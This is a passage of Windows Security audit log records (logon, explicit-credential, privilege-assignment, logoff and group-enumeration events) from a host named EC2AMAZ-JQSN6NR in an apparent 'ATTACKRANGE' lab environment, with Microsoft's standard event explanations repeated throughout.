Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245353 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245352 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245351 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245350 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x925DF - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245349 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x925DF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245348 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245347 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245346 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x91F4F - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245345 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D660 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245344 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8E108 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245343 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x91F4F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245342 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x91F4F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245341 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245340 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245339 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x91A22 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245338 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x91A22 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245337 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x91A22 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245336 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245335 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245334 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8E626 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245333 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8E626 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245332 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8E626 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245331 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245330 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245329 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8E108 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245328 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8E108 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245327 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245326 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245325 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245324 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D660 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245323 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D660 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245322 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly 